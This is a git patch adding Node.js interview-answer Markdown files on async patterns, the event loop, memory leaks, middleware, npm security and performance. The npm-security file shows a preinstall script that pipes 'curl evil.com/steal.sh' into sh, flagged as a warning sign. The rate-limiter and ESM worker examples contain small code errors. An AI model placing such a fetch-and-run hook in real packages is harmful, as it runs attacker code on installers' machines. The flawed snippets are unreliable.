From 2578f2d6382af48c9ce34646a61fff00ac77f780 Mon Sep 17 00:00:00 2001 From: Md Saiyad Ali <101666661+heysaiyad@users.noreply.github.com> Date: Mon, 30 Mar 2026 13:35:38 +0530 Subject: [PATCH] feat: Add 10 comprehensive Node.js interview questions (#9561) * Add 10 comprehensive Node.js interview questions This significantly expands the Node.js question coverage: New questions added: - Event loop working and its 6 phases - Streams and buffers deep dive - Cluster vs worker threads comparison - Memory leak debugging techniques - Middleware pattern in Express - Async patterns (callbacks, promises, async/await) - Security best practices (SQL injection, XSS, CSRF) - Performance optimization techniques - Testing asynchronous code - NPM package security Each question includes: - Detailed explanations - Working code examples - Best practices - Common pitfalls to avoid This increases Node.js questions from 8 to 18, providing comprehensive interview preparation coverage. * fix: use self-contained filter in compression middleware example * fix: address all Copilot AI review comments and convert to ES modules - Convert all CommonJS require() to ES modules import syntax - Use compression.filter() as fallback in compression middleware - Add cleanup interval to rate limiter to prevent memory leaks - Remove unused fs.createWriteStream in heap snapshot example - Fix promisify example to use callback-based fs API - Split GET/POST tests into separate describe blocks - Fix Jest timers with beforeEach/afterEach hooks - Use specific version tag for GitHub Actions (security best practice) --- .../nodejs/content/async-patterns.md | 250 ++++++++++++++++ .../content/cluster-vs-worker-threads.md | 172 +++++++++++ .../nodejs/content/event-loop-working.md | 83 +++++ .../nodejs/content/memory-leak-debugging.md | 179 +++++++++++ .../nodejs/content/middleware-pattern.md | 227 ++++++++++++++ .../nodejs/content/npm-package-security.md | 253 ++++++++++++++++ .../content/performance-optimization.md | 273 +++++++++++++++++ .../nodejs/content/security-best-practices.md | 231 ++++++++++++++ .../nodejs/content/streams-and-buffers.md | 153 ++++++++++ .../nodejs/content/testing-async-code.md | 283 ++++++++++++++++++ 10 files changed, 2104 insertions(+) create mode 100644 src/data/question-groups/nodejs/content/async-patterns.md create mode 100644 src/data/question-groups/nodejs/content/cluster-vs-worker-threads.md create mode 100644 src/data/question-groups/nodejs/content/event-loop-working.md create mode 100644 src/data/question-groups/nodejs/content/memory-leak-debugging.md create mode 100644 src/data/question-groups/nodejs/content/middleware-pattern.md create mode 100644 src/data/question-groups/nodejs/content/npm-package-security.md create mode 100644 src/data/question-groups/nodejs/content/performance-optimization.md create mode 100644 src/data/question-groups/nodejs/content/security-best-practices.md create mode 100644 src/data/question-groups/nodejs/content/streams-and-buffers.md create mode 100644 src/data/question-groups/nodejs/content/testing-async-code.md diff --git a/src/data/question-groups/nodejs/content/async-patterns.md b/src/data/question-groups/nodejs/content/async-patterns.md new file mode 100644 index 000000000..6b8105b82 --- /dev/null +++ b/src/data/question-groups/nodejs/content/async-patterns.md @@ -0,0 +1,250 @@ +Node.js provides multiple ways to handle asynchronous operations. Understanding when to use each pattern is crucial for writing clean, maintainable code and handling errors properly. + +## 1. Callbacks (Traditional) + +The original async pattern in Node.js. Error-first callbacks are the convention. + +```js +import fs from 'node:fs'; + +// Error-first callback pattern +fs.readFile('file.txt', 'utf8', (err, data) => { + if (err) { + console.error('Error:', err.message); + return; + } + console.log('Data:', data); +}); + +// Callback Hell (avoid this!) +fs.readFile('file1.txt', (err, data1) => { + fs.readFile('file2.txt', (err, data2) => { + fs.readFile('file3.txt', (err, data3) => { + // Nested callbacks become unmanageable + }); + }); +}); +``` + +## 2. Promises + +Cleaner chaining and better error handling than callbacks. + +```js +import fs from 'node:fs/promises'; + +// Promise chain +fs.readFile('file1.txt', 'utf8') + .then((data1) => { + console.log(data1); + return fs.readFile('file2.txt', 'utf8'); + }) + .then((data2) => { + console.log(data2); + }) + .catch((err) => { + console.error('Error:', err.message); + }) + .finally(() => { + console.log('Cleanup'); + }); + +// Creating a Promise +function delay(ms) { + return new Promise((resolve) => { + setTimeout(resolve, ms); + }); +} + +// Promisify callback functions +import { promisify } from 'node:util'; +import fsCallback from 'node:fs'; // callback-based API +const readFileAsync = promisify(fsCallback.readFile); +``` + +## 3. Async/Await + +Syntactic sugar over Promises. Most readable and maintainable. + +```js +import fs from 'node:fs/promises'; + +async function readFiles() { + try { + const data1 = await fs.readFile('file1.txt', 'utf8'); + const data2 = await fs.readFile('file2.txt', 'utf8'); + const data3 = await fs.readFile('file3.txt', 'utf8'); + + return { data1, data2, data3 }; + } catch (err) { + console.error('Error:', err.message); + throw err; + } +} + +// Call async function +readFiles() + .then(result => console.log(result)) + .catch(err => console.error(err)); +``` + +## Parallel vs Sequential Execution + +### Sequential (One after another) + +```js +async function sequential() { + const start = Date.now(); + + const result1 = await fetchData1(); // 1 second + const result2 = await fetchData2(); // 1 second + const result3 = await fetchData3(); // 1 second + + console.log(`Time: ${Date.now() - start}ms`); // ~3000ms +} +``` + +### Parallel (All at once) + +```js +async function parallel() { + const start = Date.now(); + + const [result1, result2, result3] = await Promise.all([ + fetchData1(), + fetchData2(), + fetchData3() + ]); + + console.log(`Time: ${Date.now() - start}ms`); // ~1000ms +} +``` + +## Promise Utilities + +### Promise.all() - All must succeed + +```js +const results = await Promise.all([ + fetch('/api/users'), + fetch('/api/posts'), + fetch('/api/comments') +]); +// Fails if ANY promise rejects +``` + +### Promise.allSettled() - Get all results + +```js +const results = await Promise.allSettled([ + fetch('/api/users'), + fetch('/api/posts'), + Promise.reject('Error') +]); +// Returns all results, even if some fail +// [{ status: 'fulfilled', value: ... }, { status: 'rejected', reason: ... }] +``` + +### Promise.race() - First to complete + +```js +const result = await Promise.race([ + fetch('/api/data'), + delay(5000).then(() => { throw new Error('Timeout'); }) +]); +``` + +### Promise.any() - First to succeed + +```js +const result = await Promise.any([ + fetch('/api/primary'), + fetch('/api/backup1'), + fetch('/api/backup2') +]); +// Returns first successful result +``` + +## Error Handling Comparison + +```js +// Callbacks +doSomething((err, result) => { + if (err) return handleError(err); + // handle result +}); + +// Promises +doSomething() + .then(result => { /* handle result */ }) + .catch(err => handleError(err)); + +// Async/Await +try { + const result = await doSomething(); + // handle result +} catch (err) { + handleError(err); +} +``` + +## When to Use Each Pattern + +| Pattern | Best For | Avoid When | +|---------|----------|------------| +| Callbacks | Legacy code, streams, event emitters | New code, complex flows | +| Promises | Chaining operations, library APIs | Simple one-off operations | +| Async/Await | Most modern code, readability | Top-level module scope (ESM) | + +## Common Mistakes + +### Forgetting to await + +```js +// ❌ Wrong - returns Promise, not result +async function getData() { + const data = fetchData(); // Missing await! + return data; +} + +// ✅ Correct +async function getData() { + const data = await fetchData(); + return data; +} +``` + +### Unnecessary async + +```js +// ❌ Unnecessary async wrapper +async function getValue() { + return await Promise.resolve(42); +} + +// ✅ Just return the promise +function getValue() { + return Promise.resolve(42); +} +``` + +### Not handling rejections + +```js +// ❌ Unhandled rejection +async function riskyOperation() { + const data = await fetchData(); // Can throw! +} + +// ✅ Always handle errors +async function safeOperation() { + try { + const data = await fetchData(); + return data; + } catch (err) { + console.error('Failed:', err); + return null; + } +} +``` + diff --git a/src/data/question-groups/nodejs/content/cluster-vs-worker-threads.md b/src/data/question-groups/nodejs/content/cluster-vs-worker-threads.md new file mode 100644 index 000000000..c532238a6 --- /dev/null +++ b/src/data/question-groups/nodejs/content/cluster-vs-worker-threads.md @@ -0,0 +1,172 @@ +Node.js provides two main ways to utilize multiple CPU cores: the Cluster module and Worker Threads. Both help achieve parallelism but serve different purposes and have distinct characteristics. + +## Cluster Module + +Creates multiple processes (workers) that share the same server port. Each worker is a separate Node.js process with its own memory and V8 instance. + +```js +import cluster from 'node:cluster'; +import http from 'node:http'; +import os from 'node:os'; + +const numCPUs = os.cpus().length; + +if (cluster.isPrimary) { + console.log(`Primary ${process.pid} is running`); + + // Fork workers for each CPU + for (let i = 0; i < numCPUs; i++) { + cluster.fork(); + } + + cluster.on('exit', (worker, code, signal) => { + console.log(`Worker ${worker.process.pid} died`); + cluster.fork(); // Restart worker + }); +} else { + // Workers share the TCP connection + http.createServer((req, res) => { + res.writeHead(200); + res.end(`Hello from worker ${process.pid}`); + }).listen(8000); + + console.log(`Worker ${process.pid} started`); +} +``` + +## Worker Threads + +Creates threads within the same process. Workers share memory (via SharedArrayBuffer) and are lighter than cluster workers. + +```js +import { Worker, isMainThread, parentPort, workerData } from 'node:worker_threads'; + +if (isMainThread) { + // Main thread + const worker = new Worker(__filename, { + workerData: { num: 42 } + }); + + worker.on('message', (result) => { + console.log(`Result: ${result}`); + }); + + worker.on('error', (err) => { + console.error('Worker error:', err); + }); + + worker.on('exit', (code) => { + console.log(`Worker exited with code ${code}`); + }); +} else { + // Worker thread + const { num } = workerData; + const result = heavyComputation(num); + parentPort.postMessage(result); +} + +function heavyComputation(n) { + let sum = 0; + for (let i = 0; i < n * 1000000; i++) { + sum += i; + } + return sum; +} +``` + +## Key Differences + +| Feature | Cluster | Worker Threads | +|---------|---------|----------------| +| **Isolation** | Separate processes | Same process | +| **Memory** | Separate memory | Can share memory | +| **Communication** | IPC (slower) | Message passing + SharedArrayBuffer | +| **Use Case** | HTTP servers | CPU-intensive tasks | +| **Overhead** | Higher (new process) | Lower (new thread) | +| **Crash Impact** | Worker crash is isolated | Can affect main thread | + +## When to Use Cluster + +Best for scaling HTTP servers across CPU cores: + +```js +import cluster from 'node:cluster'; +import os from 'node:os'; + +// Use with PM2 (recommended for production) +// pm2 start app.js -i max + +// Or manually with cluster +const numCPUs = os.cpus().length; + +if (cluster.isPrimary) { + for (let i = 0; i < numCPUs; i++) { + cluster.fork(); + } +} else { + app.listen(3000); +} +``` + +## When to Use Worker Threads + +Best for CPU-intensive operations without blocking the event loop: + +```js +// main.js +import { Worker } from 'node:worker_threads'; + +function runWorker(data) { + return new Promise((resolve, reject) => { + const worker = new Worker('./worker.js', { workerData: data }); + worker.on('message', resolve); + worker.on('error', reject); + }); +} + +// Process image without blocking server +app.post('/process-image', async (req, res) => { + const result = await runWorker({ image: req.body.image }); + res.json(result); +}); +``` + +```js +// worker.js +import { workerData, parentPort } from 'node:worker_threads'; + +// Heavy image processing +const result = processImage(workerData.image); +parentPort.postMessage(result); +``` + +## Sharing Memory with Worker Threads + +```js +// Main thread +import { Worker } from 'node:worker_threads'; + +const sharedBuffer = new SharedArrayBuffer(4); +const sharedArray = new Int32Array(sharedBuffer); + +const worker = new Worker('./worker.js', { + workerData: { sharedBuffer } +}); + +// Both can read/write to sharedArray +Atomics.store(sharedArray, 0, 100); + +// Worker thread +import { workerData } from 'node:worker_threads'; +const sharedArray = new Int32Array(workerData.sharedBuffer); +console.log(Atomics.load(sharedArray, 0)); // 100 +``` + +## Best Practices + +1. **Use Cluster for HTTP servers** - Easy horizontal scaling +2. **Use Worker Threads for CPU work** - Image processing, parsing, calculations +3. **Don't overuse workers** - Thread pool size should match CPU cores +4. **Handle errors properly** - Workers can crash independently +5. **Consider PM2** - Production-ready process management for clusters + diff --git a/src/data/question-groups/nodejs/content/event-loop-working.md b/src/data/question-groups/nodejs/content/event-loop-working.md new file mode 100644 index 000000000..45886cb5f --- /dev/null +++ b/src/data/question-groups/nodejs/content/event-loop-working.md @@ -0,0 +1,83 @@ +The Node.js event loop is the mechanism that allows Node.js to perform non-blocking I/O operations despite JavaScript being single-threaded. It continuously checks for and processes events and callbacks in a specific order through six distinct phases. + +## Six Phases of Event Loop + +### 1. Timers Phase +Executes callbacks scheduled by `setTimeout()` and `setInterval()`. + +```js +setTimeout(() => { + console.log('Timer callback'); +}, 100); +``` + +### 2. Pending Callbacks Phase +Executes I/O callbacks deferred from the previous cycle. + +### 3. Idle, Prepare Phase +Used internally by Node.js. + +### 4. Poll Phase +Retrieves new I/O events and executes I/O-related callbacks. This is where most application code runs. + +```js +import fs from 'node:fs'; + +fs.readFile('file.txt', (err, data) => { + console.log('File read - executed in poll phase'); +}); +``` + +### 5. Check Phase +Executes `setImmediate()` callbacks. + +```js +setImmediate(() => { + console.log('setImmediate callback'); +}); +``` + +### 6. Close Callbacks Phase +Handles close events like `socket.on('close')`. + +## Microtasks vs Macrotasks + +Microtasks (`process.nextTick()`, Promises) execute between each phase: + +```js +setTimeout(() => console.log('1: setTimeout'), 0); +Promise.resolve().then(() => console.log('2: Promise')); +process.nextTick(() => console.log('3: nextTick')); + +// Output order: +// 3: nextTick +// 2: Promise +// 1: setTimeout +``` + +## process.nextTick() vs setImmediate() + +```js +// process.nextTick - executes before any I/O +process.nextTick(() => console.log('nextTick')); + +// setImmediate - executes in check phase (after I/O) +setImmediate(() => console.log('setImmediate')); + +// Inside I/O callback, setImmediate always runs first +import fs from 'node:fs'; + +fs.readFile('file.txt', () => { + setImmediate(() => console.log('setImmediate')); + setTimeout(() => console.log('setTimeout'), 0); + // Output: setImmediate, setTimeout +}); +``` + +## Best Practices + +- Never block the event loop with synchronous operations +- Use `setImmediate()` for breaking up CPU-intensive work +- Avoid recursive `process.nextTick()` calls (can starve I/O) +- Use worker threads for heavy computation + diff --git a/src/data/question-groups/nodejs/content/memory-leak-debugging.md b/src/data/question-groups/nodejs/content/memory-leak-debugging.md new file mode 100644 index 000000000..6fdd5ae30 --- /dev/null +++ b/src/data/question-groups/nodejs/content/memory-leak-debugging.md @@ -0,0 +1,179 @@ +Memory leaks in Node.js occur when the application retains references to objects that are no longer needed, preventing garbage collection from freeing memory. Identifying and fixing these leaks is crucial for long-running applications. + +## Common Causes of Memory Leaks + +### 1. Unremoved Event Listeners + +```js +// ❌ Memory leak: listeners accumulate +function handleRequest(req, res) { + req.on('data', (chunk) => { + // Process data + }); + // Listener never removed! +} + +// ✅ Fixed: Remove listeners when done +function handleRequest(req, res) { + const onData = (chunk) => { + // Process data + }; + req.on('data', onData); + + res.on('finish', () => { + req.removeListener('data', onData); + }); +} +``` + +### 2. Global Variables + +```js +// ❌ Memory leak: data keeps growing +const cache = {}; + +function processRequest(id, data) { + cache[id] = data; // Never cleaned up +} + +// ✅ Fixed: Use LRU cache with size limit +import LRU from 'lru-cache'; +const cache = new LRU({ max: 500 }); + +function processRequest(id, data) { + cache.set(id, data); +} +``` + +### 3. Closures Holding References + +```js +// ❌ Memory leak: closure retains largeData +function createHandler() { + const largeData = new Array(1000000).fill('x'); + + return function handler(req, res) { + // largeData is retained even if not used + res.send('OK'); + }; +} + +// ✅ Fixed: Don't capture unnecessary variables +function createHandler() { + return function handler(req, res) { + res.send('OK'); + }; +} +``` + +### 4. Timers Not Cleared + +```js +// ❌ Memory leak: interval never cleared +function startPolling() { + setInterval(() => { + fetchData(); + }, 1000); +} + +// ✅ Fixed: Clear interval when done +function startPolling() { + const intervalId = setInterval(() => { + fetchData(); + }, 1000); + + return () => clearInterval(intervalId); +} +``` + +## Debugging Tools + +### 1. Node.js Inspector (Chrome DevTools) + +```bash +# Start with inspector +node --inspect app.js + +# Or attach to running process +node --inspect=9229 app.js +``` + +Then open `chrome://inspect` in Chrome and take heap snapshots. + +### 2. process.memoryUsage() + +```js +// Monitor memory in application +setInterval(() => { + const usage = process.memoryUsage(); + console.log({ + heapUsed: `${Math.round(usage.heapUsed / 1024 / 1024)}MB`, + heapTotal: `${Math.round(usage.heapTotal / 1024 / 1024)}MB`, + external: `${Math.round(usage.external / 1024 / 1024)}MB`, + rss: `${Math.round(usage.rss / 1024 / 1024)}MB` + }); +}, 5000); +``` + +### 3. Heap Snapshots Programmatically + +```js +import v8 from 'node:v8'; + +function takeHeapSnapshot() { + const snapshotFile = `heap-${Date.now()}.heapsnapshot`; + v8.writeHeapSnapshot(snapshotFile); + console.log(`Heap snapshot written to ${snapshotFile}`); +} + +// Take snapshot on SIGUSR2 +process.on('SIGUSR2', takeHeapSnapshot); +``` + +### 4. Using clinic.js + +```bash +# Install +npm install -g clinic + +# Profile for memory issues +clinic doctor -- node app.js +clinic heapprofiler -- node app.js +``` + +## Detection Pattern + +```js +// Simple leak detection +const initialMemory = process.memoryUsage().heapUsed; + +setInterval(() => { + const currentMemory = process.memoryUsage().heapUsed; + const growth = currentMemory - initialMemory; + + if (growth > 50 * 1024 * 1024) { // 50MB growth + console.warn('Possible memory leak detected!'); + console.log(`Memory grew by ${Math.round(growth / 1024 / 1024)}MB`); + } +}, 30000); +``` + +## Best Practices to Prevent Leaks + +1. **Always remove event listeners** when they're no longer needed +2. **Use WeakMap/WeakSet** for caches tied to object lifetime +3. **Set limits on caches and queues** +4. **Clear timeouts and intervals** +5. **Monitor memory in production** with APM tools +6. **Regular load testing** to catch leaks early + +```js +// Example: WeakMap for metadata +const metadata = new WeakMap(); + +function attachMetadata(obj, data) { + metadata.set(obj, data); + // When obj is garbage collected, metadata entry is too +} +``` + diff --git a/src/data/question-groups/nodejs/content/middleware-pattern.md b/src/data/question-groups/nodejs/content/middleware-pattern.md new file mode 100644 index 000000000..7a175accf --- /dev/null +++ b/src/data/question-groups/nodejs/content/middleware-pattern.md @@ -0,0 +1,227 @@ +Middleware is a function that has access to the request object, response object, and the next middleware function in the application's request-response cycle. It's a core pattern in Express.js and similar frameworks for handling HTTP requests in a modular way. + +## Basic Middleware Structure + +```js +// Middleware function signature +function middleware(req, res, next) { + // Do something with req/res + console.log(`${req.method} ${req.url}`); + + // Pass control to next middleware + next(); +} + +// Using middleware +import express from 'express'; +const app = express(); + +app.use(middleware); +``` + +## Types of Middleware + +### 1. Application-level Middleware + +```js +const app = express(); + +// Runs for ALL requests +app.use((req, res, next) => { + req.requestTime = Date.now(); + next(); +}); + +// Runs only for /api/* routes +app.use('/api', (req, res, next) => { + console.log('API request'); + next(); +}); +``` + +### 2. Router-level Middleware + +```js +const router = express.Router(); + +// Middleware for this router only +router.use((req, res, next) => { + console.log('Router middleware'); + next(); +}); + +router.get('/users', (req, res) => { + res.json({ users: [] }); +}); + +app.use('/api', router); +``` + +### 3. Error-handling Middleware + +```js +// Must have 4 parameters +app.use((err, req, res, next) => { + console.error(err.stack); + res.status(500).json({ + error: 'Something went wrong!', + message: err.message + }); +}); + +// Triggering error middleware +app.get('/error', (req, res, next) => { + const error = new Error('Test error'); + next(error); // Passes to error middleware +}); +``` + +### 4. Built-in Middleware + +```js +// Parse JSON bodies +app.use(express.json()); + +// Parse URL-encoded bodies +app.use(express.urlencoded({ extended: true })); + +// Serve static files +app.use(express.static('public')); +``` + +## Common Middleware Examples + +### Authentication Middleware + +```js +function authenticate(req, res, next) { + const token = req.headers.authorization?.split(' ')[1]; + + if (!token) { + return res.status(401).json({ error: 'No token provided' }); + } + + try { + const decoded = jwt.verify(token, process.env.JWT_SECRET); + req.user = decoded; + next(); + } catch (err) { + res.status(401).json({ error: 'Invalid token' }); + } +} + +// Use on protected routes +app.get('/profile', authenticate, (req, res) => { + res.json({ user: req.user }); +}); +``` + +### Logging Middleware + +```js +function logger(req, res, next) { + const start = Date.now(); + + res.on('finish', () => { + const duration = Date.now() - start; + console.log(`${req.method} ${req.url} ${res.statusCode} - ${duration}ms`); + }); + + next(); +} + +app.use(logger); +``` + +### Rate Limiting Middleware + +```js +const rateLimit = new Map(); + +function rateLimiter(limit = 100, windowMs = 60000) { + return (req, res, next) => { + const ip = req.ip; + const now = Date.now(); + + if (!rateLimit.has(ip)) { + rateLimit.set(ip, { count: 1, resetTime: now + windowMs }); + return next(); + } + + const record = rateLimit.get(ip); + + if (now > record.resetTime) { + // Window expired - reset and clean up + record.count = 1; + record.resetTime = now + windowMs; + return next(); + } + + if (record.count >= limit) { + return res.status(429).json({ error: 'Too many requests' }); + } + + record.count++; + next(); + }; +} + +// Cleanup old entries periodically (prevents memory leak) +setInterval(() => { + const now = Date.now(); + for (const [ip, record] of rateLimit.entries()) { + if (now > record.resetTime) { + rateLimit.delete(ip); + } + } +}, 60000); // Clean up every minute + }; +} + +app.use(rateLimiter(100, 60000)); +``` + +## Middleware Execution Order + +```js +app.use((req, res, next) => { + console.log('1: First middleware'); + next(); +}); + +app.use((req, res, next) => { + console.log('2: Second middleware'); + next(); +}); + +app.get('/', (req, res) => { + console.log('3: Route handler'); + res.send('Hello'); +}); + +// Output: +// 1: First middleware +// 2: Second middleware +// 3: Route handler +``` + +## Best Practices + +1. **Always call next()** unless sending a response +2. **Order matters** - define middleware in correct sequence +3. **Keep middleware focused** - single responsibility +4. **Handle errors properly** - use error middleware +5. **Use async/await** - wrap async middleware to catch errors + +```js +// Async middleware wrapper +const asyncHandler = (fn) => (req, res, next) => { + Promise.resolve(fn(req, res, next)).catch(next); +}; + +app.get('/users', asyncHandler(async (req, res) => { + const users = await User.find(); + res.json(users); +})); +``` + diff --git a/src/data/question-groups/nodejs/content/npm-package-security.md b/src/data/question-groups/nodejs/content/npm-package-security.md new file mode 100644 index 000000000..31f426e24 --- /dev/null +++ b/src/data/question-groups/nodejs/content/npm-package-security.md @@ -0,0 +1,253 @@ +Managing npm package security is crucial for Node.js applications. Third-party dependencies can introduce vulnerabilities that compromise your entire application. Here's how to maintain a secure dependency chain. + +## 1. Audit Dependencies + +### npm audit + +```bash +# Check for vulnerabilities +npm audit + +# Get detailed JSON report +npm audit --json + +# Fix automatically (where possible) +npm audit fix + +# Force fix (may include breaking changes) +npm audit fix --force +``` + +### Understanding Severity Levels + +| Level | Description | Action | +|-------|-------------|--------| +| Critical | Actively exploited | Fix immediately | +| High | Easily exploitable | Fix ASAP | +| Moderate | Requires specific conditions | Plan to fix | +| Low | Minimal impact | Fix when convenient | + +## 2. Lock Files + +Always commit lock files to ensure consistent installs. + +```bash +# package-lock.json (npm) +npm ci # Clean install from lock file + +# pnpm-lock.yaml (pnpm) +pnpm install --frozen-lockfile + +# yarn.lock (yarn) +yarn install --frozen-lockfile +``` + +```json +// package.json - use exact versions +{ + "dependencies": { + "express": "4.18.2", // Exact version + "lodash": "^4.17.21" // Allows minor updates (risky) + } +} +``` + +## 3. Automated Security Updates + +### GitHub Dependabot + +```yaml +# .github/dependabot.yml +version: 2 +updates: + - package-ecosystem: "npm" + directory: "/" + schedule: + interval: "weekly" + open-pull-requests-limit: 10 + reviewers: + - "security-team" +``` + +### Snyk Integration + +```bash +# Install Snyk CLI +npm install -g snyk + +# Authenticate +snyk auth + +# Test for vulnerabilities +snyk test + +# Monitor continuously +snyk monitor + +# Fix vulnerabilities +snyk fix +``` + +## 4. Semantic Versioning Security + +Understanding semver for security: + +``` +MAJOR.MINOR.PATCH + | | | + | | └── Bug fixes (safe to update) + | └──────── New features (usually safe) + └────────────── Breaking changes (review needed) +``` + +```json +// package.json ranges +{ + "dependencies": { + "express": "4.18.2", // Exact: Safest + "lodash": "~4.17.21", // Patch updates only + "axios": "^1.4.0", // Minor + Patch (common, less safe) + "react": "*" // Any version (NEVER do this!) + } +} +``` + +## 5. Scanning for Malicious Packages + +```bash +# Check package before installing +npm info + +# View package contents without installing +npm pack --dry-run + +# Check download stats and maintenance +npm view time +``` + +### Red Flags to Watch For + +1. **Typosquatting**: `expresss` instead of `express` +2. **Recently published** packages with few downloads +3. **No repository** or documentation +4. **Unusual install scripts** + +```json +// Check for suspicious scripts in package.json +{ + "scripts": { + "preinstall": "curl evil.com/steal.sh | sh", // 🚨 DANGER! + "postinstall": "node malicious.js" // 🚨 DANGER! + } +} +``` + +## 6. Using npx Safely + +```bash +# ❌ Dangerous - runs any package +npx some-random-package + +# ✅ Safer - specify exact version +npx create-react-app@5.0.1 my-app + +# ✅ Check before running +npm info +``` + +## 7. Private Registry and Scopes + +```bash +# Use scoped packages from your org +npm install @mycompany/utils + +# Configure private registry +npm config set @mycompany:registry https://npm.mycompany.com + +# .npmrc file +@mycompany:registry=https://npm.mycompany.com +//npm.mycompany.com/:_authToken=${NPM_TOKEN} +``` + +## 8. Security Policies + +### package.json overrides (npm 8.3+) + +```json +{ + "overrides": { + "lodash": "4.17.21", + "vulnerable-package": "2.0.0" + } +} +``` + +### pnpm overrides + +```json +{ + "pnpm": { + "overrides": { + "lodash": "4.17.21" + } + } +} +``` + +## 9. CI/CD Security Checks + +```yaml +# GitHub Actions example +name: Security Check + +on: [push, pull_request] + +jobs: + security: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + + - name: Setup Node + uses: actions/setup-node@v3 + with: + node-version: '18' + + - name: Install dependencies + run: npm ci + + - name: Run security audit + run: npm audit --audit-level=high + + - name: Run Snyk + uses: snyk/actions/node@v1.1234.0 # Use specific version tag, not master + env: + SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }} +``` + +## 10. Best Practices Checklist + +- ✅ Run `npm audit` regularly (weekly minimum) +- ✅ Always commit lock files +- ✅ Use exact versions for critical packages +- ✅ Enable Dependabot or Renovate +- ✅ Review new dependencies before adding +- ✅ Remove unused dependencies +- ✅ Use scoped packages for internal code +- ✅ Avoid packages with suspicious install scripts +- ✅ Keep Node.js version updated +- ✅ Set up security checks in CI/CD + +## Removing Unused Dependencies + +```bash +# Find unused dependencies +npx depcheck + +# Remove a package +npm uninstall unused-package + +# Clean npm cache +npm cache clean --force +``` + diff --git a/src/data/question-groups/nodejs/content/performance-optimization.md b/src/data/question-groups/nodejs/content/performance-optimization.md new file mode 100644 index 000000000..579cfac37 --- /dev/null +++ b/src/data/question-groups/nodejs/content/performance-optimization.md @@ -0,0 +1,273 @@ +Optimizing Node.js performance involves understanding the event loop, efficient resource usage, and applying best practices for handling I/O operations, memory, and CPU-intensive tasks. + +## 1. Avoid Blocking the Event Loop + +```js +// ❌ Blocking - freezes the server +app.get('/hash', (req, res) => { + const hash = crypto.pbkdf2Sync(password, salt, 100000, 64, 'sha512'); + res.send(hash); +}); + +// ✅ Non-blocking - uses thread pool +app.get('/hash', (req, res) => { + crypto.pbkdf2(password, salt, 100000, 64, 'sha512', (err, hash) => { + res.send(hash); + }); +}); +``` + +## 2. Use Caching Effectively + +### In-Memory Caching + +```js +import NodeCache from 'node-cache'; +const cache = new NodeCache({ stdTTL: 600 }); // 10 min TTL + +async function getUserData(userId) { + // Check cache first + const cached = cache.get(`user:${userId}`); + if (cached) return cached; + + // Fetch from database + const user = await db.users.findById(userId); + + // Store in cache + cache.set(`user:${userId}`, user); + + return user; +} +``` + +### Redis Caching + +```js +import Redis from 'ioredis'; +const redis = new Redis(); + +async function getCachedData(key, fetchFn, ttl = 3600) { + const cached = await redis.get(key); + if (cached) return JSON.parse(cached); + + const data = await fetchFn(); + await redis.setex(key, ttl, JSON.stringify(data)); + + return data; +} + +// Usage +const products = await getCachedData( + 'products:all', + () => db.products.findAll(), + 3600 +); +``` + +## 3. Database Query Optimization + +```js +// ❌ N+1 Query Problem +const users = await User.findAll(); +for (const user of users) { + user.posts = await Post.findAll({ where: { userId: user.id } }); +} + +// ✅ Eager loading - single query with JOIN +const users = await User.findAll({ + include: [{ model: Post }] +}); + +// ✅ Use indexes +// In your migration: +await queryInterface.addIndex('posts', ['userId']); +await queryInterface.addIndex('posts', ['createdAt']); + +// ✅ Select only needed fields +const users = await User.findAll({ + attributes: ['id', 'name', 'email'] // Don't select everything +}); + +// ✅ Pagination +const users = await User.findAll({ + limit: 20, + offset: (page - 1) * 20 +}); +``` + +## 4. Use Streams for Large Data + +```js +// ❌ Loads entire file in memory +app.get('/download', async (req, res) => { + const data = await fs.promises.readFile('large-file.csv'); + res.send(data); +}); + +// ✅ Stream the file +app.get('/download', (req, res) => { + const stream = fs.createReadStream('large-file.csv'); + res.setHeader('Content-Type', 'text/csv'); + stream.pipe(res); +}); + +// ✅ Stream database results +app.get('/export', async (req, res) => { + res.setHeader('Content-Type', 'application/json'); + res.write('['); + + let first = true; + const cursor = User.find().cursor(); + + for await (const user of cursor) { + if (!first) res.write(','); + res.write(JSON.stringify(user)); + first = false; + } + + res.write(']'); + res.end(); +}); +``` + +## 5. Connection Pooling + +```js +// PostgreSQL with pg +import { Pool } from 'pg'; + +const pool = new Pool({ + max: 20, // Max connections in pool + idleTimeoutMillis: 30000, + connectionTimeoutMillis: 2000, +}); + +// Reuse connections from pool +app.get('/users', async (req, res) => { + const client = await pool.connect(); + try { + const result = await client.query('SELECT * FROM users'); + res.json(result.rows); + } finally { + client.release(); // Return to pool + } +}); +``` + +## 6. Compression + +```js +import compression from 'compression'; + +// Basic compression (uses sensible defaults) +app.use(compression()); + +// With custom options +app.use(compression({ + level: 6, // Compression level (1-9) + threshold: 1024, // Only compress if > 1KB +})); + +// Custom filter to skip compression for certain requests +app.use(compression({ + filter: (req, res) => { + // Skip compression if client requests it + if (req.headers['x-no-compression']) return false; + + // Fallback to the default compression filter behavior + return compression.filter(req, res); + } +})); +``` + +## 7. Use Clustering + +```js +import cluster from 'node:cluster'; +import os from 'node:os'; + +if (cluster.isPrimary) { + const numCPUs = os.cpus().length; + + for (let i = 0; i < numCPUs; i++) { + cluster.fork(); + } + + cluster.on('exit', (worker) => { + console.log(`Worker ${worker.process.pid} died`); + cluster.fork(); // Restart + }); +} else { + await import('./app.js'); // Your Express app +} + +// Or use PM2 (recommended) +// pm2 start app.js -i max +``` + +## 8. Optimize JSON Operations + +```js +// ❌ Slow for large objects +const data = JSON.parse(largeJsonString); + +// ✅ Use streaming JSON parser +import { parser } from 'stream-json'; +import { streamArray } from 'stream-json/streamers/StreamArray.js'; + +fs.createReadStream('large.json') + .pipe(parser()) + .pipe(streamArray()) + .on('data', ({ value }) => { + // Process each item + }); + +// ✅ Use faster JSON libraries +import fastJson from 'fast-json-stringify'; + +const stringify = fastJson({ + type: 'object', + properties: { + id: { type: 'integer' }, + name: { type: 'string' } + } +}); + +const json = stringify({ id: 1, name: 'John' }); // Faster than JSON.stringify +``` + +## 9. Monitoring and Profiling + +```js +// Monitor event loop lag +const start = process.hrtime(); +setImmediate(() => { + const delta = process.hrtime(start); + const lag = (delta[0] * 1e9 + delta[1]) / 1e6; + if (lag > 100) { + console.warn(`Event loop lag: ${lag}ms`); + } +}); + +// Memory monitoring +setInterval(() => { + const used = process.memoryUsage(); + console.log({ + heapUsed: `${Math.round(used.heapUsed / 1024 / 1024)}MB`, + heapTotal: `${Math.round(used.heapTotal / 1024 / 1024)}MB` + }); +}, 30000); +``` 